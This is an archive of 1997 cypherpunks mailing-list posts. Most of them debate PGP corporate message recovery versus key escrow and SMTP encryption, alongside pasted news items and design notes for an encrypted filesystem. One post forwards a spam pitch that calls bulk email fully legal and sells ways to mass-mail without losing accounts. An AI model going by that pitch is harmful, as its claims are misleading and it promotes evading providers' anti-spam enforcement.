It seems to help if she's sitting on your lap...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Fri, 17 Oct 1997 01:39:41 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Security flaws introduced by "other readers" in CMR
Message-ID: <199710161715.TAA21716@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Let's look a little closer at the kinds of access and notice available in
the PGP system compared to alternatives.

As several people have pointed out, no encryption system can provide
protection against what is done with the message after it is decrypted.
The receiver could share it with whoever he wants to, or whoever he is
forced to.

Consider the following scenarios:

 - An encrypted message is sent to someone at his workplace using current
   systems like PGP 2.6.

 - An encrypted message is sent to someone at his workplace, who is using the
   message access features of PGP 5.5.  The corporation key is marked as
   "optional", and the message is not encrypted to that extra key.

 - An encrypted message is sent as before, but this time the message is
   encrypted to the corporate key.

 - An encrypted message is sent to someone at his workplace, who is using
   a different form of corporate access which relies on key escrow
   or automatic acquisition of cleartext.

We agree that none of these systems can provide complete protection
against third party access.  In any of them, the receiver could be forced
to turn over the encrypted message.  But there is still a difference.

In the first two scenarios, the expectation of privacy is the same.
You are encrypting to a personal key at a business address, but you
expect that you would know about it if the data were being provided to
a third party.  There is no widespread installed base of software which
provides secret access after the message is decrypted.

In fact, the second scenario arguably provides slightly more privacy
than the first, which is what we have now.  The reason is that in the
second scenario, the company provides an optional mechanism for business
mail to be recoverable, but also provides an explicit, sender-controlled
escape clause.  The company is granting an explicit expectation of privacy
by allowing the corporate key recipient to be removed.  With usage of
older versions of PGP, there was really no way for the company to even
inform the sender about whether it was going to be reading the mail.

In the third scenario, where you encrypt to the corporate key, there is
no expectation of privacy.  All parties, the sender, the receiver, and
the company, know that the data is being made available to the business.
There is not much privacy here; what you have is business security.  This
mode would be used for business documents and business communications.

In the fourth scenario, which some people are offering as a superior
approach, the expectation of privacy is much less clear.  Unlike in the
current PGP approach, where the design of the corporate access system
is oriented around notifying the sender and receiver, a key escrow or
plaintext recovery system inherently provides no such notice.

This is different from the status quo.  We are talking about a commercial
product which provides automatic corporate access to communications.
Widespread installation and use of this alternate version of PGP
inherently changes the assumptions and expectations that you will have
when you encrypt to someone at work.  Given the company's desire for
message access, this approach implies that you must conservatively assume
that most encryption to a business address will be read.

The PGP system is designed to avoid this.  It provides another method
for corporate access, a visible and explicit method.  It is intended as
an alternative to key escrow and other systems which recovery data after
the recipient gets it.  PGP's third party recipient feature is designed
to prevent the creation of an installed base of escrowed keys and after
the fact third party access software.

Even if the encryption system provides a way for the user to mark his
keys as being escrowed or otherwise providing third party access,
the system is not self-correcting in the way the PGP system is.
It would be much easier for a business owner to pervert a secretive
access system than one like PGP.  The company could install the access
features but not tell its employees that their keys were being escrowed,
or that their mail client was secretly storing a copy of all plaintexts.
This kind of change would be easy to make with the after-the-fact access
systems some people are proposing.  Yes, theoretically this can be done
with any encryption system (as all agree) but the point is to avoid the
widespread distribution of software which invites this kind of abuse.
The PGP system is designed to satisfy business needs without leading us
into this dangerous situation.

A world in which third party encryption by the sender is the normal and
widespread method for corporate access is one with increased privacy and
more visibility of access.  The alternatives which have been proposed are
prone to abuse and provide less visibility.  They lead us towards a world
in which there is no expectation of privacy even for encrypted messages,
by providing an installed base of snooping software.  The PGP approach
is explicitly designed to keep us out of that world, by removing the need
for that kind of software.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 17 Oct 1997 04:48:20 +0800
To: aba@atlas.ex.ac.uk
Subject: Re: PGP Inc apology deal
In-Reply-To: <20316.9710161810@atlas.dcs.exeter.ac.uk>
Message-ID: <199710162017.VAA24632@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Whoops: dcs.ex mail system was misbehaving and appeared to be hanging
on SMTP connects to mail hub.  I was attempting modifying my
sendmail.cf with different mail hubs to get mail back to functioning,
and nothing appeared to work.  I in the end I rlogged in to mail hub
and cut and paste into emacs rmail.

Clearly somethings went through while appearing to hang.

Anyway, I thought it was a good post, but didn't intend to send 3
copies.  I am most anxious for PGP Inc to accept challenge.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Nobuki Nakatuji" <bd1011@hotmail.com>
Date: Fri, 17 Oct 1997 16:31:15 +0800
To: cypherpunks@toad.com
Subject: OUBAKAYAROU!!
Message-ID: <19971017080829.27590.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



>Tim May (tcmay@got.net)
>Wed, 15 Oct 1997 22:11:09 -0700 
>
>At 9:18 PM -0700 10/15/97, Nobuki Nakatuji wrote:
>Where are another cypherpunk mailinglist ?
>
>
>Am another cypherpunks mailinglist at cyperpunk@dev.null.
>You go there, chop chop.
>You not talk about Misty here anymore, OK? We am tired hering about 
>Misty and your fees.
>
>--Tim-san
>
>
>
Shine Shine!! Bakayarou!! Aho!! Manuke!! Anpontan!!





______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 17 Oct 1997 17:30:04 +0800
To: "Attila T. Hun" <cypherpunks@cyberpass.net
Subject: Re: consensus on pgp? can we consolidate for action?
In-Reply-To: <19971016.032545.attila@hun.org>
Message-ID: <3.0.3.32.19971017011816.00704ffc@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:40 AM 10/16/1997 +0000, Attila T. Hun wrote:
>    I have not seen any further discussion on my suggestion to
>    create a sendmail type daemon which implements DH between
>    mail clients. this, of course, is on the presumption that DH 
>    is a wrapper for an already encrypted packet, 

DH between mail clients and servers is a really fine idea if you're
starting from scratch, but sendmail is such a wretched hive of
crime, corruption, and villainy that nobody in their right mind
really wants to mess with it.  You could implement it as a sendmail
extension using the EHLO stuff, but you'd have to go get people
to adopt it widely once you'd done it; I suppose if you could talk
Netscape and Eudora into adding DH exchange to their client code
and get it into a few popular servers, you'd have a large fraction 
of the Internet's email encrypted, which would be a Good Thing.
It'd still have some major traffic analysis issues,
and if you want to deal with the Man In The Middle problem,
you need a key distribution infrastructure, which is much harder.

An alternative approach is to encrypt everything using IPSEC,
and you don't have to mess with Sendmail, but there are
performance issues, and there's a lot of work getting it deployed also.
				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 17 Oct 1997 14:22:53 +0800
To: cypherpunks@ssz.com
Subject: index.html
Message-ID: <199710170641.BAA12303@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   CNN logo 
   Navigation 
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   
   
   Main banner rule
   
               SECRET SECURITY MESSAGES ON STAMPS CAN BE DECODED
                                       
     Postal Service Logo October 16, 1997
     Web posted at: 3:39 p.m. EDT (1939 GMT)
     
     WASHINGTON (AP) -- The post office is preserving a bit of nostalgia
     from an era when children saved cereal box tops for the secret
     decoder rings. The new decoder isn't a ring, but it does the job by
     revealing secret messages hidden on some U.S. postage stamps.
     
     "It was done primarily as a anti-counterfeit measure, but we knew
     that collectors of all kinds would enjoy it as an interesting design
     element as well," said postal spokesman Barry Ziehl.
     
     You normally can't see the hidden image, but the post office is
     selling decoders to interested people. For $4.95 collectors can get
     a special lens that reveals the hidden message when placed over the
     stamp.
     
     The first hidden image was on a 32-cent U.S. Air Force stamp issued
     in September. With the decoder, viewers can see the letters USAF
     repeated over and over across the face of the stamp. The decoder has
     to be turned slightly from side to side to get the image to appear.
     
     Copyright 1997   The Associated Press. All rights reserved. This
     material may not be published, broadcast, rewritten, or
     redistributed.
     
    
   rule
   
  Related sites:
  
     Note: Pages will open in a new browser window
     * US Postal Service
       
     
     
     External sites are not endorsed by CNN Interactive.
     
   Barnes and Noble Recommends Selected books on Postage Stamps   Or find
   any book
     in print by keyword: ____________________   ______
   
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 17 Oct 1997 14:25:26 +0800
To: cypherpunks@ssz.com
Subject: http:--www.cnn.com-TECH-9710-16-internet.subpoena.ap-
Message-ID: <199710170645.BAA12347@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



    CNN logo 
   Navigation 
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   
   
   Tech banner Tivoli systems and network management: The power to
   manage. Anything. Anywhere. Click here. rule
   
             SUBPOENA ISSUED FOR DATA BEHIND NEWSPAPER'S WEB SITE
                                       
      website October 16, 1997
     Web posted at: 8:40 p.m. EDT (0040 GMT)
     
     VENTURA, California (AP) -- In what could be a legal first, the
     Ventura County Star has been subpoenaed by attorneys in a murder
     case for information about people who have used the newspaper's
     Internet site. The defense wants to determine whether the jury pool
     has been contaminated.
     
     The subpoena, which asks for unpublished e-mail and demographics of
     people who participated in an online survey about the case, explores
     new territory between legal protections for the media and a
     defendant's right to a fair trial, said Terry Francke, a media
     attorney with the California First Amendment Coalition.
     
     "This is very new, and I suspect the courts will be grappling with
     more and more of these types of requests from attorneys as the
     medium grows," Francke said Wednesday.
     
     The Internet site detailed the Diana Haun murder trial. Haun was
     convicted September 28 of conspiracy, kidnapping and murder in the
     slaying of Sherri Dally, her lover's wife -- an act prosecutors said
     was a human sacrifice birthday present. The penalty phase of Haun's
     trial is scheduled to begin Monday.
     
     The subpoena was served this week by James Farley, the attorney for
     Haun's lover and alleged co-conspirator Michael Dally. His trial is
     set to begin November 24. Jurors will be bused to Ventura from
     adjoining Santa Barbara County.
     
     The Internet site stretches beyond the newspaper's circulation area
     in Ventura County, possibly contaminating jury pools in Santa
     Barbara County, said Len Newcomb, an investigator for Farley.
     
     "The media decided to make this a high-profile case and decided they
     wanted to reach a vast number of people," Newcomb said. "And the
     worst-case scenario is that we won't be able to find jurors who
     don't already have strong biases."
     
     Newcomb has filed subpoenas on 56 news organizations from Los
     Angeles to San Luis Obispo, requesting unpublished reader, listener
     and viewer response to the Haun coverage.
     
     The latest subpoena unquestionably invades legally protected
     discourse between readers and their newspapers, said Timothy J.
     Gallagher, the Ventura newspaper's editor.
     
     "I don't have a problem providing information to defense attorneys
     that has already appeared in the newspaper, or in this case online,
     but beyond that there's a privileged relationship between newspapers
     and readers," Gallagher said.
     
     Copyright 1997   The Associated Press. All rights reserved. This
     material may not be published, broadcast, rewritten, or
     redistributed.
     
    
   rule
   
  Related sites:
  
     Note: Pages will open in a new browser window
     * Ventura County Star
          + Subpoena covers new legal ground
          + Coverage of the Haun murder trial
            
     
     
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   Watch these shows on CNN for more sci-tech stories:
   
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 17 Oct 1997 17:11:04 +0800
To: Adam Back <wprice@pgp.com
Subject: Re: anti-GAK design principles: worked example #1
In-Reply-To: <v04001b0eb06a3d206797@[205.180.137.244]>
Message-ID: <3.0.3.32.19971017015110.006afc90@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:45 PM 10/15/1997 +0100, Adam Back wrote:
>We'll instead take it as a given that 
>pgp5.5 and pgp5.0 are GAK compliant because of CMR and
>that this is a bad thing.

I'll duck the 5.5 argument for now, but you're 
incorrect on 5.0.  The PGP 5.0 key format includes
separate keys for signature and privacy, which is a mostly good thing,
and includes the ability to associate a group of
keyIDs and flag bits with each privacy key.
	(or each set of privacy key + signature key??  Jon?)
What semantics are attached to this association are dependent
on the computer program, and PGP 5.0 does nothing CMRish with them,
much less GAKish.  OpenPGP could do anything it wants with the field,
such as use it for keyids (or IPv4 addresses, since it's 32 bits)
of keyservers with copies of the keys, or whatever.
PGP 5.6 could at least take the case of multiple keyids
and secret-share the session key between them rather than
allowing any single key to access it.


>The rest of Will's post seems to miss the point, so it seems to me
>that the best way to transfer understanding of how to use the anti-GAK
>design principles to design less GAK friendly systems is to present a
>worked example.

Good - we'll attempt to nitpick it at least as thoroughly as
we're nitpicking PGP 5.5 :-)

>- store a copy of the private half of the users PGP encryption key
>  encrypted to the company data recovery key on the users disk.
No.  This is evil.  Don't go there.  Even with secret sharing,
and especially without.

>- (optional) design the software to make it hard to copy the data
>  recovery packet from the disk, hide the data, bury it in keyrings,
>  stego encode it, whatever, use your imagination.  
This is secutity by obscurity; not highly useful.

>Possible objections:
>objection #1. what if disk burns?
>counter #1:   backup your disk
>objection #2: users don't back up disks

Objection 3 - users _do_ back up disks -
that means every backup tape or disk or server volume
potentially contains your disk's encryption keys
CAKked up with the Corporate Master Key, which is Bad,
and wildly out of the user's control, violating
one of your principles.


				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Japhy Ryder <japhy@enteract.com>
Date: Fri, 17 Oct 1997 15:41:45 +0800
To: cypherpunks@toad.com
Subject: Re: Internet Tools For Your Business (fwd)
Message-ID: <199710170722.CAA26154@enteract.com>
MIME-Version: 1.0
Content-Type: text



----- Forwarded message from Graham-John Bullers -----

>From real@freenet.edmonton.ab.ca Thu Oct 16 21:11:54 1997
Date: Thu, 16 Oct 1997 20:11:33 -0600 (MDT)
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
To: Japhy Ryder <japhy@enteract.com>
Subject: Re: Internet Tools For Your Business (fwd)
In-Reply-To: <199710162323.SAA00372@enteract.com>
Message-ID: <Pine.A41.3.95.971016201131.101210a-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Thu, 16 Oct 1997, Japhy Ryder wrote:

> ----- Forwarded message from prectimes@mail2.c-flash.net -----
> 
> >From prectimes@mail2.c-flash.net Thu Oct 16 17:27:18 1997
> From: prectimes@mail2.c-flash.net
> Message-Id: <199710162227.RAA18064@enteract.com>
> Date: Thu, 16 Oct 1997 11:17:49 -0400 (EDT)
> Subject: Internet Tools For Your Business
> 
> ****************************************************************************
> We sincerely apologize if this message has reached you
> in error.  This is a one time mailing, you need not reply as you will  not receive this message again.
> ****************************************************************************
> The Internet is the marketing opportunity of a lifetime,
> don't let it pass you by!
> 
> I make thousands marketing my products with Bulk
> E-MAIL. Responsible E-MAILING WORKS, and regardless
> of any non-applicable ridiculous fax or phone law 
> someone may quote you Bulk E-mail is a 100% legal and
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> 
> If you are interested in making serious money and
> saving yourself all of the time and hasle of finding
> the right tools and Internet resources read on because
> what I have to offer you will save you hundreds of
> hours of research that you could be using to get
> down to business and make money with direct
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> 
> If you send me $15 bucks I will send you via e-mail 
> a file containing the following information that will
> arm you with all the tools you will ever need to
> jump start a Internet marketing campaign.
> 
> Just print  and mail the order form at the
>  bottom of this page with your payment and as 
> soon as I receive it I will mail your file. Then you
> can be on your way to harvesting the gold mine
> I have found  in direct E-mail marketing.
> 
> I WILL PROVIDE YOU WITH!
> 
> 1.)  A list of top bulk e-mail servers and I.S.P.'s
>  that you can mail from without losing your acounts.
> 
> 2.)  The U.R.L to two bulk mail marketing members-
>  only forums and message boards, where you will
> find free e-mail marketing software, archives full of 
> bulk mail marketing information, and have the
> opportunty to ask questions and get advise from
> from pros like myself who have battled and won
> the war with bulk mail marketing.
> 
> 3.)  A LIST OF 1500 U.R.L's where you can place FREE
> classified ads.
> 
> 4.) The location of a site where you fill out one form
> with information about your Web Site and they will
> submit it to  200 search engines for FREE. 
> 
> 5.)  A Internet address that will link you to almost 
> 100 classified ad areas where you can submit your
> advertisements  for FREE.
> 
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> products and services are acceptable. These are
> the newgroups I have been successful with for years.
> 
> 7.)  The U.R.L for eight sites who offer you
> free e-mail boxes where  you can receive your mail or
> have it forwarded  to any address you desire.
> 
> 8.)  A list of sites where you can obtain bulk e-mail
> software to fit any budget.  Most of these sites even
> offer free demo versions for download, so you can
> try before you buy.
> 
> 9.) A internet address location where they will not
> only set-up C.G.I. order scripts on your Web Site
> but maintain them for only ONE DOLLAR A MONTH.
> 
> 10.) The U.R.L of a site where you can set up a 
> completely annomous I.S.P account.
> 
> 11.) A site address where you can obtain publicity
> for your products or services, and it's absolutely
> FREE.
> 
> As if this wasn't enough If your order is postmarked
> before October 15, 1997 I will include the following
> FIVE Internet Marketing Information reports, that have
> made me thousands marketing on the Internet.  These
> five reports usually sell seperately for $50, but they
> are all yours for the asking when you order this package.
> 
> AND THAT'S NOT ALL, I am going to throw in 100,000
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> a site you can go to immediately and download a fully
> functional copy of bulk-mail software so you can get
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>  Make A Million (right now) By Turning Other Peoples 
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> by knowing the secret of headlines and the role they
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> SPECIAL BONUS:  all orders post marked by the
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> Fax: (818)-885-8014 
> 
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> 
> 
> 
> 
> 
> ----- End of forwarded message from prectimes@mail2.c-flash.net -----
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


----- End of forwarded message from Graham-John Bullers -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Japhy Ryder <japhy@enteract.com>
Date: Fri, 17 Oct 1997 15:41:45 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199710170723.CAA26209@enteract.com>
MIME-Version: 1.0
Content-Type: text














From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@www.video-collage.com>
Date: Fri, 17 Oct 1997 13:55:55 +0800
To: cypherpunks@www.video-collage.com
Subject: No Subject
Message-ID: <199710170550.FAA00763@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text/plain



test





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 18 Oct 1997 00:37:47 +0800
To: Bill Stewart <aba@dcs.ex.ac.uk>
Subject: Re: what can we do about PGP sell out and CMR?
In-Reply-To: <199710152229.XAA01119@server.test.net>
Message-ID: <v03102806b06d4169021d@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:42 AM -0700 10/16/97, Bill Stewart wrote:
>At 11:29 PM 10/15/1997 +0100, Adam Back wrote:

>>I also suspect they won't
>>listen to Tim's earlier argument that they do nothing about recovery
>
>I thought Tim's point was directed to OpenPGP; Jon Callas and others
>said things like ~~If you've got features you want done,
>propose it to OpenPGP and get them to adopt it, and that'll
>give us a business reason that we ought to adopt it.~~
>(I think the context of that was discussing Stealth, which they
>still don't have enough business demand for to take time on,
>and which by the way puts a major crimp in SMTP filters.)

Yes, the thrust of my comments was about OpenPGP.

The OpenPGPers were fretting about how to incorporate GAK and CAK and GMR
and CMR into their "open," and (presumably) international, standard, and I
said:  Keep it Simple, Stupid.

With luck, OpenPGP will displace PGP for Corporate Controllers and PGP,
Inc. will have to back pedal to remain compliant.

(Meaning no ill will toward PGP, Inc., but if they see their economic
future lies in compromising key security by building in CAK and CMR....get
my drift?)

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jerry R. Brady" <jrb@autoweb.net>
Date: Fri, 17 Oct 1997 23:22:07 +0800
To: cypherpunks@Algebra.COM
Subject: Import restrictions for crypto code
Message-ID: <34477DE4.1F46@autoweb.net>
MIME-Version: 1.0
Content-Type: text/plain



First, I was at hip, met some of you, camped behind the 
cypherpunks tent and had a blast.  I'm not on the list 
anymore (couldn't keep up) but have a quick question
which I know someone can post a quick answer back to
me directly.  I'd appreciate it.

We have an RC540/RSA512/MD5 crypto package our customers
use for the secure exchange of CAD data files with some
of the automotive industry OEMs - It is a very lucrative
store-and-forward system.

We have a customer in Italy and I need to know if there 
are any import restrictions for sending the software 
there.  We already have a GSN exemption because the 
international code is whimpy.

Perhaps there is also an on-line resource that covers
what countries have import restrictions?

Any help would be appreciated, please mail directly to
me.

Regards,
	Jerry

ps. Lucky - what became of the "Brain"?
-- 
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Jerry R. Brady                            jrb@autoweb.net
Technical Director                       (v) 248.967.3738
AutoWeb Communications, Inc.             (f) 248.967.3739
    -=- PGP5 key at pgpkeys.mit.edu or via e-mail -=-





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jon Callas <jon@pgp.com>
Date: Sat, 18 Oct 1997 02:34:27 +0800
To: Bill Stewart <cypherpunks@cyberpass.net
Subject: Re: consensus on pgp? can we consolidate for action?
In-Reply-To: <19971016.032545.attila@hun.org>
Message-ID: <3.0.3.32.19971017111721.00b53d40@mail.pgp.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:18 AM 10/17/97 -0700, Bill Stewart wrote:
   At 08:40 AM 10/16/1997 +0000, Attila T. Hun wrote:
   >    I have not seen any further discussion on my suggestion to
   >    create a sendmail type daemon which implements DH between
   >    mail clients. this, of course, is on the presumption that DH 
   >    is a wrapper for an already encrypted packet, 
   
   DH between mail clients and servers is a really fine idea if you're
   starting from scratch, but sendmail is such a wretched hive of
   crime, corruption, and villainy that nobody in their right mind
   really wants to mess with it.  You could implement it as a sendmail
   extension using the EHLO stuff, but you'd have to go get people
   to adopt it widely once you'd done it; I suppose if you could talk
   Netscape and Eudora into adding DH exchange to their client code
   and get it into a few popular servers, you'd have a large fraction 
   of the Internet's email encrypted, which would be a Good Thing.
   It'd still have some major traffic analysis issues,
   and if you want to deal with the Man In The Middle problem,
   you need a key distribution infrastructure, which is much harder.
   
   An alternative approach is to encrypt everything using IPSEC,
   and you don't have to mess with Sendmail, but there are
   performance issues, and there's a lot of work getting it deployed also.

There's another solution too -- make your mail servers talk with TLS
(Transport Level Security, a.k.a. SSL).

This solves some problems and not others. If your SMTP path includes any
hops, then the message is in plaintext on that machine. Complicating it
further, you cannot reliably enforce what the hops will be. 

This is one of the reasons that email keys are sometimes considered comm
keys and sometimes storage keys. 

	Jon



-----
Jon Callas                                  jon@pgp.com
Chief Scientist                             555 Twin Dolphin Drive
Pretty Good Privacy, Inc.                   Suite 570
(415) 596-1960                              Redwood Shores, CA 94065
Fingerprints: D1EC 3C51 FCB1 67F8 4345 4A04 7DF9 C2E6 F129 27A9 (DSS)
              665B 797F 37D1 C240 53AC 6D87 3A60 4628           (RSA)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Julian Assange <proff@iq.org>
Date: Fri, 17 Oct 1997 20:56:52 +0800
To: cypherpunks@toad.com
Subject: Marutukku - cryptographic filing system
Message-ID: <19971017123313.25514.qmail@iq.org>
MIME-Version: 1.0
Content-Type: text/plain




Marutukku (my cryptographic file system/block device) is due for first
beta sometime next week. Before release, I'd like some (strong!)
criticism of the sub key generation / chaining techniques I'm
using. But first, for those who haven't a frigging clue what Marutukku
is, here is a hastily drawn non-cryptographic (more about that later)
features list:

	o OS independent (excepting two files pertaining only to the
          kernel drivers)

	o Currently implemented as a 4.4bsd (Free/Net/OpenBSD)
	  loadable kernel module, and client (I have someone working
          on the Linux port, but no promises).

	o The BSD implementation turns a file (even an NFS mounted
	  file) into a device, on which any number of file systems
          types can be created in the regular manner (or even a swap
          partition ;)

	o Endian independent - Marutukku extents (the ciphertext
	  regions) can be mailed around like .tar files

	o various backup/recovery/whole extent encryption/decrypt
	  functions built into the client

Marutukku supports a variety of ciphers, and the cipher used for the
lattice (which is used to generate sub-keys for each file-system
block) generation is independent from the cipher used for block
functions. At the moment it only makes sense to talk of the lattice
generator in terms of a stream cipher or a block cipher/hash algorithm
in OFB. My design principles along the way have attempted as far as
possible to cover as yet unknown vulnerabilities in the under-laying
ciphers used with good management of IV's, salts, sub-keys, chaining
etc.  Some of these steps may pose no additional security in relation
to certain attacks (i.e secret vs public IV's) on particular ciphers
but most come at little cost compared to the encryption itself.

Primary key/salt generation walk though:

	A pass-phrase of size (l) is requested from the
	user. max_keysize (256) public random key saltation bytes are
	generated and [saved]. (l) of these bytes then salt the key
	(XOR) (we don't use more than (l) to avoid any potential
	issues with key-correlation attacks as the salt is public).

	max_keysize cryptographically random bytes are produced to
	form the "master key".

	The salted pass-phrase is used to encrypt the master key,
	which is [saved].

	The (unencrypted) master key is used to key a stream cipher
	(in this case that's rc4 or rc16) which is used for further
	key generation.

	Bytes [0] and [1] of the key stream output are saved for later
	use in creating a pass-phrase checksum (more about that later).

	Bytes [2] and [3] of the key stream are saved for later use in
	encrypting the number of stream-cipher key-generator
	iterations.

	The stream cipher is then set to stir its internal state for
	(t) seconds (a user supplied value). The number of iterations
	(i) is counted, the two LSBytes's from which are encrypted
	with [2] and [3] and [saved]. The reason we don't encrypt the
	MSB's is that they are are likely to be known-plain-text (all
	0 bits to the left) which can be used for key-scanning checks.
	This has the annoying effect of reducing the uncertainty in
	the iteration count to 2^16, but I can't fathom a way around
	it without exposing bits of the stream output.

	Stream bytes [3+i] and [3+i+1] are XOR-ed with bytes [0] and
	[1] to provide a 16 bit key checksum and [saved]. The distance
	here serves to obfuscate any predictability in the key-stream
	generator and force the attacker though all (i) iterations to
	test each key (or if they are attacking directly on the
	internal state of the stream cipher at (i) to generate guesses
	at [0] as well).
	
	A public random key-salt for the two primary lattice keys are
	generated and [saved].

	n * 2 (n=32 for a 4G file-system-block maru extent) public
	random sub-key lattice IV's are generated and [saved].

	The public master block IV array salt is randomly generated
	and [saved].

Instance/Lattice generation:

	The saved maru saltation/IV header (above) is loaded, and the the
	pass-phrase is salted as before. The master key is decrypted
	and the key stream cipher is initialised, half the checksum is
	generated, the number of iterations decrypted, the generator
	stired, the other half of the checksum is generated and the
	checksum verified.

	The two primary lattice salts are encrypted with the key
	stream stream and form the primary lattice keys for the
	lattice fs-block sub-key generating block cipher.

	The n*2 lattice sub-key IV's are encrypted with the stream and
	form the lattice sub key array.

	The master block IV salt array is encrypted with the stream
	and forms the master block IV array.

	This ends the primary initialisation stage.

Block key generation:

	The problem here is to turn a block number into a unique
	"sub-key" for each fs-block in such a way that frustrates
	possible key (or other) correlation attacks. i.e discovering
	the key for one block should not help the cryptanalyst in
	discovering the key for any other block. It is simple to
	generate a sub-key key-stream with a stream cipher or a block
	cipher operating in OFB, but storing such a construct is
	untenable and it is not efficient to generate on the fly (for
	instance, the first fs-block accessed might be the last in the
	maru extent, which would correlate to the last sub-key
	generated by the key-stream).  The solution designed and
	employed is a binary tree based key generation approach, that
	can generate a cryptographically-unique block key in
	log2(max_blocks) steps. The author has thought of various
	variations on this scheme (e.g with two different
	cryptographic hashes, one moving left, one moving right), but
	see below for the variant used in Marutukku.
	
	It is simpler to visualise the sub-key generator tree "turned
	inside out" as a 2d lattice, two columns across and n rows
	down (this is also how it is implemented in Marutukku). i.e

		______________________
		|LEFT	   |     RIGHT|
		|----------+----------|
		|L-SUBKEY 0|L-SUBKEY 1|
		|----------+----------|
		|L-SUBKEY 1|L-SUBKEY 2|
		|----------+----------|
		|   ....   |   ....   |
		|----------+----------|
		|L-SUBKEY n|L-SUBKEY n|
		|__________|__________|


	The journey from fs-block number to fs-block-key starts with
	the msb of the block number and the top of the lattice (we use
	the msb rather than the lsb for caching reasons. Using the lsb
	naively seems more secure but uncacheable, yet on closer
	examination, neither of theses claims are true (however the
	Marutukku lattice sub-key cache *performance* using lsb is
	poor due to the inverted clustering)). As each bit slides off
	the left of the block number, key material is picked up from
	the left or right of the lattice according to whether the bit
	is on or off. Each lattice sub-key chosen is encrypted with
	the next (CBC wise, but lattice sub-key size, rather than
	cipher block size) at the top of the lattice and twines it's
	way down to the end, collecting key-material as it goes. The
	result is a unique compressed (i.e its the CBC chaining
	performing the compression) "necklace" of key material which
	forms the appropriate fs-block key.

FS block encryption:

	Each plain text block in the fs-block is XOR-ed with the
	corresponding entry in the master block IV array and then CBC
